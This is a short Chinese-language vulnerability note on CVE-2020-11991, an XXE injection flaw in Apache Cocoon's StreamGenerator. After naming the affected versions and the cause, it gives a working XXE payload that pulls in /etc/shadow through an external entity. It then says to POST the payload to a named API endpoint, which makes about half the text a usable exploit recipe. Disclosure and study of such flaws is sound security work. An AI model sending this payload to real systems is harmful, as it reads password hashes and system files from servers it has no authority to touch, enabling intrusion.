Apache Cocoon XML注入 [CVE-2020-11991]

受影響版本: Apache Cocoon <= 2.1.x

程序使用了StreamGenerator這個方法時,解析從外部請求的xml數據包未做相關的限制,惡意用戶就可以構造任意的xml表達式,使服務器解析達到XML注入的安全問題。

 

以下是apache社區官方提供利用方式：

<!--?xml version="1.0" ?--> 
<!DOCTYPE replace [<!ENTITY ent SYSTEM 
"file:///etc/shadow"> ]> 
<userInfo> 
<firstName>John</firstName> 
<lastName>&ent;</lastName> 
</userInfo>

與普通XXE並無差別，向/v2/api/product/manger/getInfo位置POST構造好的xml數據即可

來源:http://mail-archives.apache.org/mod_mbox/cocoon-users/202009.mbox/author